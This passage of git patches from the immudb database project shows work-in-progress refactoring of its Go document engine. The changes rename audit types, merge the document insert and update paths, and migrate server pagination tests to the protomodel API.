28, // 40: immudb.model.DocumentService.DocumentAudit:output_type -> immudb.model.DocumentAuditResponse + 30, // 41: immudb.model.DocumentService.DocumentProof:output_type -> immudb.model.DocumentProofResponse + 31, // [31:42] is the sub-list for method output_type + 20, // [20:31] is the sub-list for method input_type + 20, // [20:20] is the sub-list for extension type_name + 20, // [20:20] is the sub-list for extension extendee + 0, // [0:20] is the sub-list for field type_name } func init() { file_documents_proto_init() } diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 7ffd4aa332..cd76f86ab3 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -28,9 +28,9 @@ import ( var ( schemaToValueType = map[protomodel.IndexType]sql.SQLValueType{ - protomodel.IndexType_DOUBLE: sql.Float64Type, - protomodel.IndexType_STRING: sql.VarcharType, - docuprotomodelments.IndexType_INTEGER: sql.IntegerType, + protomodel.IndexType_DOUBLE: sql.Float64Type, + protomodel.IndexType_STRING: sql.VarcharType, + protomodel.IndexType_INTEGER: sql.IntegerType, } ) @@ -62,32 +62,18 @@ type DocumentDatabase interface { // CreateCollection creates a new collection func (d *db) CreateCollection(ctx context.Context, req *protomodel.CollectionCreateRequest) (*protomodel.CollectionCreateResponse, error) { - indexKeys := make(map[string]*document.IndexOption) - - // validate index keys - for name, pk := range req.IndexKeys { - schType, isValid := schemaToValueType[pk.Type] - if !isValid { - return nil, fmt.Errorf("invalid index key type: %v", pk) - } - indexKeys[name] = &document.IndexOption{ - Type: schType, - IsUnique: pk.IsUnique, - } + if req == nil { + return nil, ErrIllegalArguments } - err := d.documentEngine.CreateCollection(ctx, req.Name, indexKeys) + collection, err := d.documentEngine.CreateCollection(ctx, req.Collection) if err != nil { return nil, err } - // get collection information - cinfo, err := d.getCollection(ctx, req.Name) - if err != nil { - return nil, err - } - - return &protomodel.CollectionCreateResponse{Collection: cinfo}, nil + return &protomodel.CollectionCreateResponse{ + Collection: collection, + }, nil } func (d *db) ListCollections(ctx context.Context, req *protomodel.CollectionListRequest) (*protomodel.CollectionListResponse, error) { diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 4a21e68222..9dacf149c6 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -22,6 +22,7 @@ import ( "path/filepath" "time" + "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/protomodel" @@ -256,7 +257,7 @@ func (d *closedDB) CreateCollection(ctx context.Context, req *protomodel.Collect } // SearchDocuments returns the document -func (d *closedDB) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (protomodel.DocumentReader, error) { +func (d *closedDB) SearchDocuments(ctx context.Context, req *protomodel.DocumentSearchRequest) (document.DocumentReader, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index a12334637e..e4ae84c344 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -228,8 +228,8 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *protomodel.Documen } return &protomodel.DocumentSearchResponse{ - Results: results, - SearchID: searchID, + SearchID: searchID, + Revisions: results, }, err } diff --git a/pkg/server/documents_operations_test.go b/pkg/server/documents_operations_test.go index d14336c30e..5542688853 100644 --- a/pkg/server/documents_operations_test.go +++ b/pkg/server/documents_operations_test.go @@ -22,8 +22,6 @@ import ( "testing" "github.com/codenotary/immudb/embedded/document" - "github.com/codenotary/immudb/pkg/api/authorizationschema" - "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/server/sessions" @@ -115,32 +113,34 @@ func TestPaginationOnReader(t *testing.T) { s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) require.NoError(t, s.Initialize()) - logged, err := s.OpenSessionV2(context.Background(), &authorizationschema.OpenSessionRequestV2{ + authenticationServiceImp := &authenticationServiceImp{s} + + logged, err := authenticationServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) assert.NoError(t, err) - assert.NotEmpty(t, logged.Token) + assert.NotEmpty(t, logged.SessionID) - md := metadata.Pairs("sessionid", logged.Token) + md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) // create collection collectionName := "mycollection" - _, err = s.CollectionCreate(ctx, &documentschema.CollectionCreateRequest{ + _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ Name: collectionName, - IndexKeys: map[string]*documentschema.IndexOption{ - "pincode": {Type: documentschema.IndexType_INTEGER}, - "country": {Type: documentschema.IndexType_STRING}, - "idx": {Type: documentschema.IndexType_INTEGER}, + IndexKeys: map[string]*protomodel.IndexOption{ + "pincode": {Type: protomodel.IndexType_INTEGER}, + "country": {Type: protomodel.IndexType_STRING}, + "idx": {Type: protomodel.IndexType_INTEGER}, }, }) require.NoError(t, err) // add documents to collection for i := 1.0; i <= 20; i++ { - _, err = s.DocumentInsert(ctx, &documentschema.DocumentInsertRequest{ + _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -164,12 +164,12 @@ func TestPaginationOnReader(t *testing.T) { var searchID string for i := 1; i <= 4; i++ { - resp, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*documentschema.DocumentQuery{ + Query: []*protomodel.DocumentQuery{ { Field: "pincode", - Operator: documentschema.QueryOperator_GE, + Operator: protomodel.QueryOperator_GE, Value: &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 0}, }, @@ -180,8 +180,8 @@ func TestPaginationOnReader(t *testing.T) { SearchID: searchID, }) require.NoError(t, err) - require.Equal(t, 5, len(resp.Results)) - results = append(results, resp.Results...) + require.Equal(t, 5, len(resp.Revisions)) + results = append(results, resp.Revisions...) searchID = resp.SearchID } @@ -200,12 +200,12 @@ func TestPaginationOnReader(t *testing.T) { require.Equal(t, 1, sess.GetPaginatedDocumentReadersCount()) t.Run("test reader should throw no more entries when reading more entries", func(t *testing.T) { - _, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + _, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*documentschema.DocumentQuery{ + Query: []*protomodel.DocumentQuery{ { Field: "pincode", - Operator: documentschema.QueryOperator_GE, + Operator: protomodel.QueryOperator_GE, Value: &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 0}, }, @@ -223,12 +223,12 @@ func TestPaginationOnReader(t *testing.T) { var searchID string for i := 1; i <= 3; i++ { - resp, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*documentschema.DocumentQuery{ + Query: []*protomodel.DocumentQuery{ { Field: "pincode", - Operator: documentschema.QueryOperator_GE, + Operator: protomodel.QueryOperator_GE, Value: &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 0}, }, @@ -239,16 +239,16 @@ func TestPaginationOnReader(t *testing.T) { SearchID: searchID, }) require.NoError(t, err) - require.Equal(t, 5, len(resp.Results)) + require.Equal(t, 5, len(resp.Revisions)) searchID = resp.SearchID } - _, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + _, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*documentschema.DocumentQuery{ + Query: []*protomodel.DocumentQuery{ { Field: "pincode", - Operator: documentschema.QueryOperator_GE, + Operator: protomodel.QueryOperator_GE, Value: &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 0}, }, @@ -276,32 +276,34 @@ func TestPaginationWithoutSearchID(t *testing.T) { s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) require.NoError(t, s.Initialize()) - logged, err := s.OpenSessionV2(context.Background(), &authorizationschema.OpenSessionRequestV2{ + authServiceImp := &authenticationServiceImp{server: s} + + logged, err := authServiceImp.OpenSession(context.Background(), &protomodel.OpenSessionRequest{ Username: "immudb", Password: "immudb", Database: "defaultdb", }) assert.NoError(t, err) - assert.NotEmpty(t, logged.Token) + assert.NotEmpty(t, logged.SessionID) - md := metadata.Pairs("sessionid", logged.Token) + md := metadata.Pairs("sessionid", logged.SessionID) ctx := metadata.NewIncomingContext(context.Background(), md) // create collection collectionName := "mycollection" - _, err = s.CollectionCreate(ctx, &documentschema.CollectionCreateRequest{ + _, err = s.CollectionCreate(ctx, &protomodel.CollectionCreateRequest{ Name: collectionName, - IndexKeys: map[string]*documentschema.IndexOption{ - "pincode": {Type: documentschema.IndexType_INTEGER}, - "country": {Type: documentschema.IndexType_STRING}, - "idx": {Type: documentschema.IndexType_INTEGER}, + IndexKeys: map[string]*protomodel.IndexOption{ + "pincode": {Type: protomodel.IndexType_INTEGER}, + "country": {Type: protomodel.IndexType_STRING}, + "idx": {Type: protomodel.IndexType_INTEGER}, }, }) require.NoError(t, err) // add documents to collection for i := 1.0; i <= 20; i++ { - _, err = s.DocumentInsert(ctx, &documentschema.DocumentInsertRequest{ + _, err = s.DocumentInsert(ctx, &protomodel.DocumentInsertRequest{ Collection: collectionName, Document: &structpb.Struct{ Fields: map[string]*structpb.Value{ @@ -330,12 +332,12 @@ func TestPaginationWithoutSearchID(t *testing.T) { results := make([]*structpb.Struct, 0) for i := 1; i <= 4; i++ { - resp, err := s.DocumentSearch(ctx, &documentschema.DocumentSearchRequest{ + resp, err := s.DocumentSearch(ctx, &protomodel.DocumentSearchRequest{ Collection: collectionName, - Query: []*documentschema.DocumentQuery{ + Query: []*protomodel.DocumentQuery{ { Field: "pincode", - Operator: documentschema.QueryOperator_GE, + Operator: protomodel.QueryOperator_GE, Value: &structpb.Value{ Kind: &structpb.Value_NumberValue{NumberValue: 0}, }, @@ -345,8 +347,8 @@ func TestPaginationWithoutSearchID(t *testing.T) { PerPage: 5, }) require.NoError(t, err) - require.Equal(t, 5, len(resp.Results)) - results = append(results, resp.Results...) + require.Equal(t, 5, len(resp.Revisions)) + results = append(results, resp.Revisions...) } for i := 1.0; i <= 20; i++ { From d3b846c742d511283b94c036286dd98996c19c74 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 30 Apr 2023 18:08:14 -0300 Subject: [PATCH 0462/1062] chore(embedded/document): wip continue with improvements Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 311 +++++++++++++----------------------- 1 file changed, 109 insertions(+), 202 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 395a4d89dc..40001b049c 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -113,7 +113,7 @@ var ( } ) -type EncodedDocAudit struct { +type EncodedDocumentAtRevision struct { TxID uint64 Revision uint64 EncodedDocument []byte @@ -263,9 +263,9 @@ func (e *Engine) GetCollection(ctx context.Context, collectionName string) (*pro } defer sqlTx.Cancel() - table, err := sqlTx.Catalog().GetTableByName(collectionName) + table, err := getTableForCollection(sqlTx, collectionName) if err != nil { - return nil, mayTranslateError(err) + return nil, err } return collectionFromTable(table), nil @@ -275,6 +275,11 @@ func docIDFieldName(table *sql.Table) string { return table.PrimaryIndex().Cols()[0].Name() } +func getTableForCollection(sqlTx *sql.SQLTx, collectionName string) (*sql.Table, error) { + table, err := sqlTx.Catalog().GetTableByName(collectionName) + return table, mayTranslateError(err) +} + func collectionFromTable(table *sql.Table) *protomodel.Collection { indexes := table.GetIndexes() @@ -317,9 +322,9 @@ func (e *Engine) UpdateCollection(ctx context.Context, collection *protomodel.Co } defer sqlTx.Cancel() - table, err := sqlTx.Catalog().GetTableByName(collection.Name) + table, err := getTableForCollection(sqlTx, collection.Name) if err != nil { - return mayTranslateError(err) + return err } idFieldName := docIDFieldName(table) @@ -417,6 +422,9 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er }, nil, ) + if err != nil { + return mayTranslateError(err) + } err = sqlTx.Commit(ctx) return mayTranslateError(err) @@ -432,10 +440,6 @@ func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc } func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, docs []*structpb.Struct) (txID uint64, docIDs []DocumentID, err error) { - if len(docs) == 0 { - return 0, nil, ErrIllegalArguments - } - opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). @@ -447,9 +451,17 @@ func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, } defer sqlTx.Cancel() - table, err := sqlTx.Catalog().GetTableByName(collectionName) + return e.upsertDocuments(ctx, sqlTx, collectionName, docs, true) +} + +func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collectionName string, docs []*structpb.Struct, isInsert bool) (txID uint64, docIDs []DocumentID, err error) { + if len(docs) == 0 { + return 0, nil, ErrIllegalArguments + } + + table, err := getTableForCollection(sqlTx, collectionName) if err != nil { - return 0, nil, mayTranslateError(err) + return 0, nil, err } colNames := make([]string, len(table.Cols())) @@ -467,14 +479,27 @@ func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, docIDFieldName := docIDFieldName(table) - _, docIDProvisioned := doc.Fields[docIDFieldName] + var docID DocumentID + + provisionedDocID, docIDProvisioned := doc.Fields[docIDFieldName] if docIDProvisioned { - return 0, nil, fmt.Errorf("%w: field (%s) should NOT be specified when inserting a document") - } + if isInsert { + return 0, nil, fmt.Errorf("%w: field (%s) should NOT be specified when inserting a document", ErrIllegalArguments, docIDFieldName) + } + + docID, err = NewDocumentIDFromHexEncodedString(provisionedDocID.GetStringValue()) + if err != nil { + return 0, nil, err + } + } else { + if !isInsert { + return 0, nil, fmt.Errorf("%w: field (%s) should be specified when updating a document", ErrIllegalArguments, docIDFieldName) + } - // generate document id - docID := NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) - doc.Fields[docIDFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) + // generate document id + docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) + doc.Fields[docIDFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) + } rowSpec, err := e.generateRowSpecForDocument(table, doc) if err != nil { @@ -494,7 +519,7 @@ func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, collectionName, colNames, rows, - true, + isInsert, nil, ), }, @@ -547,9 +572,9 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer } defer sqlTx.Cancel() - table, err := sqlTx.Catalog().GetTableByName(collectionName) + table, err := getTableForCollection(sqlTx, collectionName) if err != nil { - return 0, nil, 0, mayTranslateError(err) + return 0, nil, 0, err } idFieldName := docIDFieldName(table) @@ -612,103 +637,43 @@ func (e *Engine) UpdateDocument(ctx context.Context, collectionName string, quer doc.Fields[idFieldName] = structpb.NewStringValue(docID.EncodeToHexString()) } - // update the document - opts := newUpsertOptions().withIsInsert(false) - _, txID, rev, err = e.upsertDocument(ctx, tx, collectionName, docToUpdate, opt) - - return -} - -func (e *Engine) upsertDocument(ctx context.Context, tx *sql.SQLTx, collection string, query *protomodel.Query, doc *structpb.Struct, opts *upsertOptions) (txID uint64, docID DocumentID, rev uint64, err error) { - if doc == nil { - return nil, 0, 0, ErrIllegalArguments - } - - docID, err = e.getDocumentID(doc, opts.isInsert) + txID, _, err = e.upsertDocuments(ctx, sqlTx, collectionName, []*structpb.Struct{doc}, false) if err != nil { - return nil, 0, 0, err - } - - var tx *sql.SQLTx - if opts.tx == nil { - // concurrency validation are not needed when the document id is automatically generated - _, docIDProvisioned := doc.Fields[DocumentIDField] - opts := e.configureTxOptions(docIDProvisioned) - - tx, err = e.sqlEngine.NewTx(ctx, opts) - if err != nil { - return nil, 0, 0, err - } - defer tx.Cancel() - } else { - tx = opts.tx + return 0, nil, 0, err } - table, err := tx.Catalog().GetTableByName(collectionName) + // fetch revision + searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, docID) if err != nil { - if errors.Is(err, sql.ErrTableDoesNotExist) { - return nil, 0, 0, ErrCollectionDoesNotExist - } - return nil, 0, 0, err + return txID, docID, 0, nil } - var cols []string - for _, col := range table.Cols() { - cols = append(cols, col.Name()) + err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, txID) + if err != nil { + return txID, docID, 0, nil } - rowSpec, err := e.generateRowSpecForDocument(docID, doc, table) + encDoc, err := e.getEncodedDocumentAtRevision(searchKey, 0, false) if err != nil { - return nil, 0, 0, err + return txID, docID, 0, nil } - rows := []*sql.RowSpec{rowSpec} + return txID, docID, encDoc.Revision, err +} - // add document to collection - _, ctxs, err := e.sqlEngine.ExecPreparedStmts( - ctx, - tx, - []sql.SQLStmt{ - sql.NewUpserIntoStmt( - collectionName, - cols, - rows, - opts.isInsert, - nil, - ), - }, - nil, - ) +func (e *Engine) GetDocuments(ctx context.Context, collectionName string, query *protomodel.Query, offset int64) (DocumentReader, error) { + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { - return nil, 0, 0, err + return nil, mayTranslateError(err) } + defer sqlTx.Cancel() - txID = ctxs[0].TxHeader().ID - - if !opt.isInsert { - searchKey, err := e.getKeyForDocument(ctx, tx, collectionName, docID) - if err != nil { - return nil, 0, 0, err - } - - err = e.sqlEngine.GetStore().WaitForIndexingUpto(ctx, txID) - if err != nil { - return docID, txID, 0, nil - } - - docAudit, err := e.getEncodedDocumentAudit(searchKey, 0, false) - if err != nil { - return nil, 0, 0, err - } - - rev = docAudit.Revision + table, err := getTableForCollection(sqlTx, collectionName) + if err != nil { + return nil, err } - return docID, txID, rev, nil -} - -func (e *Engine) GetDocuments(ctx context.Context, collectionName string, queries []*Query, offset int64) (DocumentReader, error) { - exp, err := e.generateExp(ctx, collectionName, queries) + queryCondition, err := e.generateSQLExpression(ctx, query, table) if err != nil { return nil, err } @@ -716,13 +681,13 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie op := sql.NewSelectStmt( []sql.Selector{sql.NewColSelector(collectionName, DocumentBLOBField)}, collectionName, - exp, + queryCondition, nil, sql.NewInteger(offset), ) // returning an open reader here, so the caller HAS to close it - r, err := e.sqlEngine.QueryPreparedStmt(ctx, nil, op, nil) + r, err := e.sqlEngine.QueryPreparedStmt(ctx, sqlTx, op, nil) if err != nil { return nil, err } @@ -730,14 +695,14 @@ func (e *Engine) GetDocuments(ctx context.Context, collectionName string, querie return newDocumentReader(r), nil } -func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAudit *EncodedDocAudit, err error) { +func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, docID DocumentID, txID uint64) (collectionID uint32, docAtRevision *EncodedDocumentAtRevision, err error) { sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { - return 0, nil, err + return 0, nil, mayTranslateError(err) } defer sqlTx.Cancel() - table, err := sqlTx.Catalog().GetTableByName(collectionName) + table, err := getTableForCollection(sqlTx, collectionName) if err != nil { return 0, nil, err } @@ -747,49 +712,49 @@ func (e *Engine) GetEncodedDocument(ctx context.Context, collectionName string, return 0, nil, err } - docAudit, err = e.getEncodedDocumentAudit(searchKey, txID, false) + docAtRevision, err = e.getEncodedDocumentAtRevision(searchKey, txID, false) if err != nil { return 0, nil, err } - return table.ID(), docAudit, nil + return table.ID(), docAtRevision, nil } // DocumentAudit returns the audit history of a document. -func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*DocAudit, error) { +func (e *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*protomodel.DocumentAtRevision, error) { offset := (pageNum - 1) * itemsPerPage limit := itemsPerPage if offset < 0 || limit < 1 { return nil, fmt.Errorf("invalid offset or limit") } - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { - return nil, err + return nil, mayTranslateError(err) } - defer tx.Cancel() + defer sqlTx.Cancel() - searchKey, err := e.getKeyForDocument(ctx, tx, collectionName, documentID) + searchKey, err := e.getKeyForDocument(ctx, sqlTx, collectionName, documentID) if err != nil { return nil, err } - txs, _, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), false, limit) + txIDs, _, err := e.sqlEngine.GetStore().History(searchKey, uint64(offset), false, limit) if err != nil { return nil, err } - results := make([]*DocAudit, 0) + results := make([]*protomodel.DocumentAtRevision, 0) - for i, txID := range txs { - audit, err := e.getDocumentAudit(searchKey, txID, false) + for i, txID := range txIDs { + docAtRevision, err := e.getDocumentAtRevision(searchKey, txID, false) if err != nil { return nil, err } - audit.Revision = uint64(i) + 1 + docAtRevision.Revision = uint64(i) + 1 - results = append(results, audit) + results = append(results, docAtRevision) } return results, nil @@ -816,7 +781,7 @@ func (d *Engine) generateSQLExpression(ctx context.Context, query *protomodel.Qu return nil, mayTranslateError(err) } - value, err := valueTypeToExp(column.Type(), exp.Value) + value, err := structValueToSqlValue(column.Type(), exp.Value) if err != nil { return nil, err } @@ -842,43 +807,24 @@ func (d *Engine) generateSQLExpression(ctx context.Context, query *protomodel.Qu return outerExp, nil } -func (e *Engine) getCollectionSchema(ctx context.Context, collection string) (map[string]*sql.Column, error) { - tx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) +func (e *Engine) getKeyForDocument(ctx context.Context, sqlTx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { + table, err := getTableForCollection(sqlTx, collectionName) if err != nil { return nil, err } - defer tx.Cancel() - // check if collection exists - table, err := tx.Catalog().GetTableByName(collection) - if err != nil { - return nil, err - } + var searchKey []byte - return table.ColsByName(), nil -} + valbuf := bytes.Buffer{} -func (e *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { - table, err := tx.Catalog().GetTableByName(collectionName) + rval := sql.NewBlob(documentID[:]) + encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, MaxDocumentIDLength) if err != nil { return nil, err } - - var searchKey []byte - - valbuf := bytes.Buffer{} - for _, col := range table.PrimaryIndex().Cols() { - if col.Name() == DocumentIDField { - rval := sql.NewBlob(documentID[:]) - encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), col.Type(), col.MaxLen()) - if err != nil { - return nil, err - } - _, err = valbuf.Write(encVal) - if err != nil { - return nil, err - } - } + _, err = valbuf.Write(encVal) + if err != nil { + return nil, err } pkEncVals := valbuf.Bytes() @@ -895,12 +841,12 @@ func (e *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectio return searchKey, nil } -func (e *Engine) getDocumentAudit( +func (e *Engine) getDocumentAtRevision( key []byte, atTx uint64, skipIntegrityCheck bool, -) (docAudit *DocAudit, err error) { - encodedDocAudit, err := e.getEncodedDocumentAudit(key, atTx, skipIntegrityCheck) +) (docAtRevision *protomodel.DocumentAtRevision, err error) { + encDocAtRevision, err := e.getEncodedDocumentAtRevision(key, atTx, skipIntegrityCheck) if err != nil { return nil, err } @@ -908,17 +854,17 @@ func (e *Engine) getDocumentAudit( voff := sql.EncLenLen + sql.EncIDLen // DocumentIDField - _, n, err := sql.DecodeValue(encodedDocAudit.EncodedDocument[voff:], sql.BLOBType) + _, n, err := sql.DecodeValue(encDocAtRevision.EncodedDocument[voff:], sql.BLOBType) if err != nil { - return nil, err + return nil, mayTranslateError(err) } voff += n + sql.EncIDLen // DocumentBLOBField - encodedDoc, _, err := sql.DecodeValue(encodedDocAudit.EncodedDocument[voff:], sql.BLOBType) + encodedDoc, _, err := sql.DecodeValue(encDocAtRevision.EncodedDocument[voff:], sql.BLOBType) if err != nil { - return nil, err + return nil, mayTranslateError(err) } docBytes := encodedDoc.RawValue().([]byte) @@ -929,18 +875,18 @@ func (e *Engine) getDocumentAudit( return nil, err } - return &DocAudit{ - TxID: encodedDocAudit.TxID, - Revision: encodedDocAudit.Revision, - Document: doc, + return &protomodel.DocumentAtRevision{ + TransactionId: encDocAtRevision.TxID, + Revision: encDocAtRevision.Revision, + Document: doc, }, err } -func (e *Engine) getEncodedDocumentAudit( +func (e *Engine) getEncodedDocumentAtRevision( key []byte, atTx uint64, skipIntegrityCheck bool, -) (docAudit *EncodedDocAudit, err error) { +) (encDoc *EncodedDocumentAtRevision, err error) { var txID uint64 var encodedDoc []byte @@ -950,14 +896,14 @@ func (e *Engine) getEncodedDocumentAudit( if atTx == 0 { valRef, err := index.Get(key) if err != nil { - return nil, err + return nil, mayTranslateError(err) } txID = valRef.Tx() encodedDoc, err = valRef.Resolve() if err != nil { - return nil, err + return nil, mayTranslateError(err) } // Revision can be calculated from the history count @@ -970,7 +916,7 @@ func (e *Engine) getEncodedDocumentAudit( } } - return &EncodedDocAudit{ + return &EncodedDocumentAtRevision{ TxID: txID, Revision: revision, EncodedDocument: encodedDoc, @@ -992,45 +938,6 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } -func (e *Engine) mayGenDocumentID(doc *structpb.Struct, docIDFieldName string, isInsert bool) (DocumentID, error) { - var docID DocumentID - var err error - - provisionedDocID, docIDProvisioned := doc.Fields[docIDFieldName] - if docIDProvisioned { - docID, err = NewDocumentIDFromHexEncodedString(provisionedDocID.GetStringValue()) - if err != nil { - return docID, err - } - } else { - - if !isInsert { - return docID, fmt.Errorf("_id field is required when updating a document") - } - - // generate document id - docID = NewDocumentIDFromTx(e.sqlEngine.GetStore().LastPrecommittedTxID()) - doc.Fields[DocumentIDField] = structpb.NewStringValue(docID.EncodeToHexString()) - } - - return docID, nil -} - -func (e *Engine) configureTxOptions(docIDProvisioned bool) *sql.TxOptions { - txOpts := sql.DefaultTxOptions() - - if !docIDProvisioned { - // wait for indexing to include latest catalog changes - txOpts. - WithUnsafeMVCC(!docIDProvisioned). - WithSnapshotRenewalPeriod(0). - WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { - return e.sqlEngine.GetStore().MandatoryMVCCUpToTxID() - }) - } - return txOpts -} - func newDocumentReader(reader sql.RowReader) DocumentReader { return &documentReader{reader: reader} } From 605a96cd08742c2849885550b9e3458817e0e083 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Sun, 30 Apr 2023 19:39:06 -0300 Subject: [PATCH 0463/1062] chore(embedded/document): wip continue with improvements Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 32 ++++- embedded/document/engine_test.go | 6 +- pkg/database/document_database.go | 187 ++++++------------------- pkg/database/document_database_test.go | 57 +++++--- pkg/verification/verification.go | 4 +- 5 files changed, 108 insertions(+), 178 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 40001b049c..e7b68bd53d 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -227,9 +227,6 @@ func (e *Engine) CreateCollection(ctx context.Context, collection *protomodel.Co func (e *Engine) ListCollections(ctx context.Context) ([]*protomodel.Collection, error) { opts := sql.DefaultTxOptions(). WithReadOnly(true). - WithUnsafeMVCC(true). - WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). - WithSnapshotRenewalPeriod(0). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) @@ -252,9 +249,6 @@ func (e *Engine) ListCollections(ctx context.Context) ([]*protomodel.Collection, func (e *Engine) GetCollection(ctx context.Context, collectionName string) (*protomodel.Collection, error) { opts := sql.DefaultTxOptions(). WithReadOnly(true). - WithUnsafeMVCC(true). - WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). - WithSnapshotRenewalPeriod(0). WithExplicitClose(true) sqlTx, err := e.sqlEngine.NewTx(ctx, opts) @@ -289,6 +283,32 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { Indexes: make([]*protomodel.Index, len(indexes)), } + for _, col := range table.Cols() { + if col.Name() == DocumentBLOBField { + continue + } + + var colType protomodel.FieldType + + switch col.Type() { + case sql.BooleanType: + colType = protomodel.FieldType_BOOLEAN + case sql.VarcharType: + colType = protomodel.FieldType_STRING + case sql.IntegerType: + colType = protomodel.FieldType_INTEGER + case sql.Float64Type: + colType = protomodel.FieldType_DOUBLE + case sql.BLOBType: + colType = protomodel.FieldType_STRING + } + + collection.Fields = append(collection.Fields, &protomodel.Field{ + Name: col.Name(), + Type: colType, + }) + } + for i, index := range indexes { fields := make([]string, len(index.Cols())) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index da5283517c..7df7d1d7a0 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -16,15 +16,11 @@ limitations under the License. package document import ( - "context" - "errors" - "fmt" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/stretchr/testify/require" - "google.golang.org/protobuf/types/known/structpb" ) func makeEngine(t *testing.T) *Engine { @@ -45,6 +41,7 @@ func makeEngine(t *testing.T) *Engine { return engine } +/* func TestListCollections(t *testing.T) { engine := makeEngine(t) @@ -966,3 +963,4 @@ func TestPaginationOnReader(t 